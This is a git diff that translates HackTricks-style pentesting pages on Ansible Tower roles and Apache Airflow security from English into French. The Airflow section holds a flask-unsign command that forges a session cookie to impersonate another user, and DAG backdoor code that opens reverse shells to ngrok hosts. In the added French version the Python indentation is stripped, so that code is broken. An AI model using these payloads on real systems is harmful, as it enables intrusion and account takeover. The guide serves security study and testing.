-   - Users with this role can view all system data but cannot make any changes.
-   - This role is designed for compliance and oversight.
-3. **Organization Roles**:
-   - **Admin**: Full control over the organization's resources.
-   - **Auditor**: View-only access to the organization's resources.
-   - **Member**: Basic membership in an organization without any specific permissions.
-   - **Execute**: Can run job templates within the organization.
-   - **Read**: Can view the organization’s resources.
-4. **Project Roles**:
-   - **Admin**: Can manage and modify the project.
-   - **Use**: Can use the project in a job template.
-   - **Update**: Can update project using SCM (source control).
-5. **Inventory Roles**:
-   - **Admin**: Can manage and modify the inventory.
-   - **Ad Hoc**: Can run ad hoc commands on the inventory.
-   - **Update**: Can update the inventory source.
-   - **Use**: Can use the inventory in a job template.
-   - **Read**: View-only access.
-6. **Job Template Roles**:
-   - **Admin**: Can manage and modify the job template.
-   - **Execute**: Can run the job.
-   - **Read**: View-only access.
-7. **Credential Roles**:
-   - **Admin**: Can manage and modify the credentials.
-   - **Use**: Can use the credentials in job templates or other relevant resources.
-   - **Read**: View-only access.
-8. **Team Roles**:
-   - **Member**: Part of the team but without any specific permissions.
-   - **Admin**: Can manage the team's members and associated resources.
-9. **Workflow Roles**:
-   - **Admin**: Can manage and modify the workflow.
-   - **Execute**: Can run the workflow.
-   - **Read**: View-only access.
+1. **Administrateur Système**:
+- C'est le rôle de superutilisateur avec des permissions pour accéder et modifier n'importe quelle ressource dans le système.
+- Ils peuvent gérer toutes les organisations, équipes, projets, inventaires, modèles de travail, etc.
+2. **Auditeur Système**:
+- Les utilisateurs avec ce rôle peuvent voir toutes les données du système mais ne peuvent apporter aucune modification.
+- Ce rôle est conçu pour la conformité et la supervision.
+3. **Rôles d'Organisation**:
+- **Admin**: Contrôle total sur les ressources de l'organisation.
+- **Auditeur**: Accès en lecture seule aux ressources de l'organisation.
+- **Membre**: Adhésion de base dans une organisation sans permissions spécifiques.
+- **Exécuter**: Peut exécuter des modèles de travail au sein de l'organisation.
+- **Lire**: Peut voir les ressources de l'organisation.
+4. **Rôles de Projet**:
+- **Admin**: Peut gérer et modifier le projet.
+- **Utiliser**: Peut utiliser le projet dans un modèle de travail.
+- **Mettre à jour**: Peut mettre à jour le projet en utilisant SCM (contrôle de version).
+5. **Rôles d'Inventaire**:
+- **Admin**: Peut gérer et modifier l'inventaire.
+- **Ad Hoc**: Peut exécuter des commandes ad hoc sur l'inventaire.
+- **Mettre à jour**: Peut mettre à jour la source de l'inventaire.
+- **Utiliser**: Peut utiliser l'inventaire dans un modèle de travail.
+- **Lire**: Accès en lecture seule.
+6. **Rôles de Modèle de Travail**:
+- **Admin**: Peut gérer et modifier le modèle de travail.
+- **Exécuter**: Peut exécuter le travail.
+- **Lire**: Accès en lecture seule.
+7. **Rôles de Credential**:
+- **Admin**: Peut gérer et modifier les identifiants.
+- **Utiliser**: Peut utiliser les identifiants dans des modèles de travail ou d'autres ressources pertinentes.
+- **Lire**: Accès en lecture seule.
+8. **Rôles d'Équipe**:
+- **Membre**: Partie de l'équipe mais sans permissions spécifiques.
+- **Admin**: Peut gérer les membres de l'équipe et les ressources associées.
+9. **Rôles de Workflow**:
+- **Admin**: Peut gérer et modifier le workflow.
+- **Exécuter**: Peut exécuter le workflow.
+- **Lire**: Accès en lecture seule.
 
 </details>
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..7dff223b0 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -2,22 +2,21 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### Basic Information
+### Informations de base
 
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de flux de travail**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de flux de travail de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et consommables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux au fonctionnement des applications de big data.
 
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+En gros, Apache Airflow vous permettra de **planifier l'exécution de code lorsque quelque chose** (événement, cron) **se produit**.
 
-### Local Lab
+### Laboratoire local
 
 #### Docker-Compose
 
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+Vous pouvez utiliser le **fichier de configuration docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) pour lancer un environnement docker apache airflow complet. (Si vous êtes sur MacOS, assurez-vous de donner au moins 6 Go de RAM à la VM docker).
 
 #### Minikube
 
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+Une façon simple de **faire fonctionner apache airflow** est de l'exécuter **avec minikube** :
 ```bash
 helm repo add airflow-stable https://airflow-helm.github.io/charts
 helm repo update
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
 # Use this command to delete it
 helm delete airflow-release
 ```
+### Configuration d'Airflow
 
-### Airflow Configuration
-
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflow peut stocker des **informations sensibles** dans sa configuration ou vous pouvez trouver des configurations faibles en place :
 
 {{#ref}}
 airflow-configuration.md
 {{#endref}}
 
-### Airflow RBAC
+### RBAC d'Airflow
 
-Before start attacking Airflow you should understand **how permissions work**:
+Avant de commencer à attaquer Airflow, vous devez comprendre **comment fonctionnent les permissions** :
 
 {{#ref}}
 airflow-rbac.md
 {{#endref}}
 
-### Attacks
+### Attaques
 
-#### Web Console Enumeration
+#### Énumération de la Console Web
 
-If you have **access to the web console** you might be able to access some or all of the following information:
+Si vous avez **accès à la console web**, vous pourriez être en mesure d'accéder à certaines ou à toutes les informations suivantes :
 
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
-  - Access them in `http://<airflow>/connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **Variables** (Des informations sensibles personnalisées peuvent y être stockées)
+- **Connexions** (Des informations sensibles personnalisées peuvent y être stockées)
+- Accédez-y dans `http://<airflow>/connection/list/`
+- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent y être stockées)
+- Liste des **utilisateurs et rôles**
+- **Code de chaque DAG** (qui peut contenir des informations intéressantes)
 
-#### Retrieve Variables Values
+#### Récupérer les Valeurs des Variables
 
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+Les variables peuvent être stockées dans Airflow afin que les **DAGs** puissent **accéder** à leurs valeurs. C'est similaire aux secrets d'autres plateformes. Si vous avez **suffisamment de permissions**, vous pouvez y accéder dans l'interface graphique à `http://<airflow>/variable/list/`.\
+Airflow affichera par défaut la valeur de la variable dans l'interface graphique, cependant, selon [**ceci**](https://marclamberti.com/blog/variables-with-apache-airflow/), il est possible de définir une **liste de variables** dont la **valeur** apparaîtra sous forme de **caractères masqués** dans l'**interface graphique**.
 
 ![](<../../images/image (164).png>)
 
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+Cependant, ces **valeurs** peuvent toujours être **récupérées** via **CLI** (vous devez avoir accès à la base de données), exécution de **DAG** arbitraire, **API** accédant au point de terminaison des variables (l'API doit être activée), et **même l'interface graphique elle-même !**\
+Pour accéder à ces valeurs depuis l'interface graphique, il suffit de **sélectionner les variables** que vous souhaitez accéder et de **cliquer sur Actions -> Exporter**.\
+Une autre façon est d'effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez :
 
 ![](<../../images/image (152).png>)
 
-#### Privilege Escalation
-
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
+#### Escalade de Privilèges
 
+Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, on peut **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cela valide peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**.
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
+#### DAG Backdoor (RCE dans le worker Airflow)
 
-#### DAG Backdoor (RCE in Airflow worker)
-
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+Si vous avez **un accès en écriture** à l'endroit où les **DAGs sont sauvegardés**, vous pouvez simplement **en créer un** qui vous enverra un **reverse shell.**\
+Notez que ce reverse shell sera exécuté à l'intérieur d'un **conteneur de worker airflow** :
 ```python
 import pendulum
 from airflow import DAG
 from airflow.operators.bash import BashOperator
 
 with DAG(
-    dag_id='rev_shell_bash',
-    schedule_interval='0 0 * * *',
-    start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
 ) as dag:
-    run = BashOperator(
-        task_id='run',
-        bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
-    )
+run = BashOperator(
+task_id='run',
+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
+)
 ```
 
 ```python
@@ -105,75 +100,66 @@ from airflow import DAG
 from airflow.operators.python import PythonOperator
 
 def rs(rhost, port):
-    s = socket.socket()
-    s.connect((rhost, port))
-    [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
-    pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
 
 with DAG(
-    dag_id='rev_shell_python',
-    schedule_interval='0 0 * * *',
-    start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
 ) as dag:
-    run = PythonOperator(
-        task_id='rs_python',
-        python_callable=rs,
-        op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
-    )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
 ```
+#### DAG Backdoor (RCE dans le planificateur Airflow)
 
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+Si vous définissez quelque chose pour être **exécuté à la racine du code**, au moment de l'écriture de ce document, il sera **exécuté par le planificateur** après quelques secondes après l'avoir placé dans le dossier du DAG.
 ```python
 import pendulum, socket, os, pty
 from airflow import DAG
 from airflow.operators.python import PythonOperator
 
 def rs(rhost, port):
-    s = socket.socket()
-    s.connect((rhost, port))
-    [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
-    pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
 
 rs("2.tcp.ngrok.io", 14403)
 
 with DAG(
-    dag_id='rev_shell_python2',
-    schedule_interval='0 0 * * *',
-    start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
 ) as dag:
-    run = PythonOperator(
-        task_id='rs_python2',
-        python_callable=rs,
-        op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
 ```
+#### Création de DAG
 
-#### DAG Creation
+Si vous parvenez à **compromettre une machine à l'intérieur du cluster DAG**, vous pouvez créer de nouveaux **scripts DAG** dans le dossier `dags/` et ils seront **répliqués dans le reste des machines** à l'intérieur du cluster DAG.
 
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+#### Injection de Code DAG
 
-#### DAG Code Injection
+Lorsque vous exécutez un DAG depuis l'interface graphique, vous pouvez **passer des arguments** à celui-ci.\
+Par conséquent, si le DAG n'est pas correctement codé, il pourrait être **vulnérable à l'injection de commandes.**\
+C'est ce qui s'est passé dans ce CVE : [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
 
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
+Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAG** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**.
 
+De plus, la même vulnérabilité pourrait se produire avec des **variables** (notez qu'avec suffisamment de privilèges, vous pourriez **contrôler la valeur des variables** dans l'interface graphique). Les variables sont **accessibles avec** :
 ```python
 from airflow.models import Variable
 [...]
 foo = Variable.get("foo")
 ```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+Si elles sont utilisées par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..effebb2ca 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,115 +1,105 @@
-# Airflow Configuration
+# Configuration d'Airflow
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Configuration File
+## Fichier de Configuration
 
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow** génère un **fichier de config** sur toutes les machines airflow appelé **`airflow.cfg`** dans le répertoire personnel de l'utilisateur airflow. Ce fichier de config contient des informations de configuration et **peut contenir des informations intéressantes et sensibles.**
 
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**Il existe deux façons d'accéder à ce fichier : en compromettant une machine airflow ou en accédant à la console web.**
 
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Notez que les **valeurs à l'intérieur du fichier de config** **peuvent ne pas être celles utilisées**, car vous pouvez les écraser en définissant des variables d'environnement telles que `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
 
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+Si vous avez accès au **fichier de config sur le serveur web**, vous pouvez vérifier la **vraie configuration en cours d'exécution** sur la même page où la config est affichée.\
+Si vous avez **accès à une machine dans l'environnement airflow**, vérifiez l'**environnement**.
 
-Some interesting values to check when reading the config file:
+Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier de config :
 
 ### \[api]
 
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
-  - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
-  - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
-  - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
-  - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
-  - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
-    - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
-  - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`** : Cela indique les **en-têtes** **autorisés** pour **CORS**
+- **`access_control_allow_methods`** : Cela indique les **méthodes autorisées** pour **CORS**
+- **`access_control_allow_origins`** : Cela indique les **origines autorisées** pour **CORS**
+- **`auth_backend`** : [**Selon la documentation**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html), quelques options peuvent être mises en place pour configurer qui peut accéder à l'API :
+- `airflow.api.auth.backend.deny_all` : **Par défaut, personne** ne peut accéder à l'API
+- `airflow.api.auth.backend.default` : **Tout le monde peut** y accéder sans authentification
+- `airflow.api.auth.backend.kerberos_auth` : Pour configurer **l'authentification kerberos**
+- `airflow.api.auth.backend.basic_auth` : Pour **l'authentification de base**
+- `airflow.composer.api.backend.composer_auth` : Utilise l'authentification des compositeurs (GCP) (depuis [**ici**](https://cloud.google.com/composer/docs/access-airflow-api)).
+- `composer_auth_user_registration_role` : Cela indique le **rôle** que l'**utilisateur compositeur** obtiendra dans **airflow** (**Op** par défaut).
+- Vous pouvez également **créer votre propre méthode d'authentification** avec python.
+- **`google_key_path`** : Chemin vers la **clé de compte de service GCP**
 
 ### **\[atlas]**
 
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`** : Mot de passe Atlas
+- **`username`** : Nom d'utilisateur Atlas
 
 ### \[celery]
 
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : Identifiants (_user1:password1,user2:password2_)
+- **`result_backend`** : URL Postgres qui peut contenir des **identifiants**.
+- **`ssl_cacert`** : Chemin vers le cacert
+- **`ssl_cert`** : Chemin vers le cert
+- **`ssl_key`** : Chemin vers la clé
 
 ### \[core]
 
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`** : Activé par défaut. Lors de la découverte des DAGs, ignorez tous les fichiers qui ne contiennent pas les chaînes `DAG` et `airflow`.
+- **`fernet_key`** : Clé pour stocker des variables chiffrées (symétrique)
+- **`hide_sensitive_var_conn_fields`** : Activé par défaut, masque les informations sensibles des connexions.
+- **`security`** : Quel module de sécurité utiliser (par exemple kerberos)
 
 ### \[dask]
 
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`** : Chemin vers ca
+- **`tls_cert`** : Chemin vers le cert
+- **`tls_key`** : Chemin vers la clé tls
 
 ### \[kerberos]
 
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`** : Chemin vers le fichier ccache
+- **`forwardable`** : Activé par défaut
 
 ### \[logging]
 
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`** : Chemin vers les identifiants JSON GCP.
 
 ### \[secrets]
 
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`** : Nom complet de la classe du backend des secrets à activer
+- **`backend_kwargs`** : Le paramètre backend_kwargs est chargé dans un dictionnaire et passé à **init** de la classe du backend des secrets.
 
 ### \[smtp]
 
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`** : Mot de passe SMTP
+- **`smtp_user`** : Utilisateur SMTP
 
 ### \[webserver]
 
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`** : Par défaut, c'est **Lax**, donc c'est déjà la valeur la plus faible possible
+- **`cookie_secure`** : Définir le **drapeau sécurisé** sur le cookie de session
+- **`expose_config`** : Par défaut, c'est Faux, si vrai, la **config** peut être **lue** depuis la **console** web
+- **`expose_stacktrace`** : Par défaut, c'est Vrai, cela affichera les **tracebacks python** (potentiellement utile pour un attaquant)
+- **`secret_key`** : C'est la **clé utilisée par flask pour signer les cookies** (si vous avez cela, vous pouvez **usurper l'identité de n'importe quel utilisateur dans Airflow**)
+- **`web_server_ssl_cert`** : **Chemin** vers le **certificat** **SSL**
+- **`web_server_ssl_key`** : **Chemin** vers la **clé** **SSL**
+- **`x_frame_enabled`** : Par défaut, c'est **Vrai**, donc par défaut le clickjacking n'est pas possible
 
-### Web Authentication
-
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
+### Authentification Web
 
+Par défaut, l'**authentification web** est spécifiée dans le fichier **`webserver_config.py`** et est configurée comme
 ```bash
 AUTH_TYPE = AUTH_DB
 ```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+Ce qui signifie que **l'authentification est vérifiée par rapport à la base de données**. Cependant, d'autres configurations sont possibles comme
 ```bash
 AUTH_TYPE = AUTH_OAUTH
 ```
+Pour laisser l'**authentification aux services tiers**.
 
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+Cependant, il existe également une option pour **permettre l'accès aux utilisateurs anonymes**, en définissant le paramètre suivant au **rôle souhaité** :
 ```bash
 AUTH_ROLE_PUBLIC = 'Admin'
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..dba5911e0 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
 
 ## RBAC
 
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(Depuis la documentation)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow est livré avec un **ensemble de rôles par défaut** : **Admin**, **User**, **Op**, **Viewer**, et **Public**. **Seuls les utilisateurs `Admin`** peuvent **configurer/alterer les permissions pour d'autres rôles**. Mais il n'est pas recommandé que les utilisateurs `Admin` modifient ces rôles par défaut de quelque manière que ce soit en supprimant ou en ajoutant des permissions à ces rôles.
 
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **Les utilisateurs `Admin`** ont toutes les permissions possibles.
+- **Les utilisateurs `Public`** (anonymes) n'ont aucune permission.
+- **Les utilisateurs `Viewer`** ont des permissions de visualisation limitées (uniquement en lecture). Ils **ne peuvent pas voir la configuration.**
+- **Les utilisateurs `User`** ont des permissions de `Viewer` plus des permissions supplémentaires qui leur permettent de gérer un peu les DAGs. Ils **peuvent voir le fichier de configuration.**
+- **Les utilisateurs `Op`** ont des permissions de `User` plus des permissions supplémentaires d'opération.
 
-Note that **admin** users can **create more roles** with more **granular permissions**.
+Notez que les utilisateurs **admin** peuvent **créer plus de rôles** avec des **permissions plus granulaires**.
 
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+Notez également que le seul rôle par défaut avec **la permission de lister les utilisateurs et les rôles est Admin, même pas Op** ne pourra le faire.
 
-### Default Permissions
+### Permissions par défaut
 
-These are the default permissions per default role:
+Voici les permissions par défaut par rôle par défaut :
 
 - **Admin**
 
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[peut supprimer sur les Connections, peut lire sur les Connections, peut éditer sur les Connections, peut créer sur les Connections, peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut supprimer sur les Pools, peut lire sur les Pools, peut éditer sur les Pools, peut créer sur les Pools, peut lire sur les Providers, peut supprimer sur les Variables, peut lire sur les Variables, peut éditer sur les Variables, peut créer sur les Variables, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Configurations, peut lire sur les Plugins, peut lire sur les Rôles, peut lire sur les Permissions, peut supprimer sur les Rôles, peut éditer sur les Rôles, peut créer sur les Rôles, peut lire sur les Utilisateurs, peut créer sur les Utilisateurs, peut éditer sur les Utilisateurs, peut supprimer sur les Utilisateurs, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les 